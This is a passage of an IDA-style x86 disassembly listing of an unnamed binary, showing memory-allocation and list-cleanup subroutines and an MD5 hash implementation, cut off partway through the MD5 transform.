		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2ED3C0E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 2720563h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2720000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3E8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27B0888h
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	2BE89051h, 56022DD4h, 0E890D88Bh
		dd 22DD5D8h, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "─"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
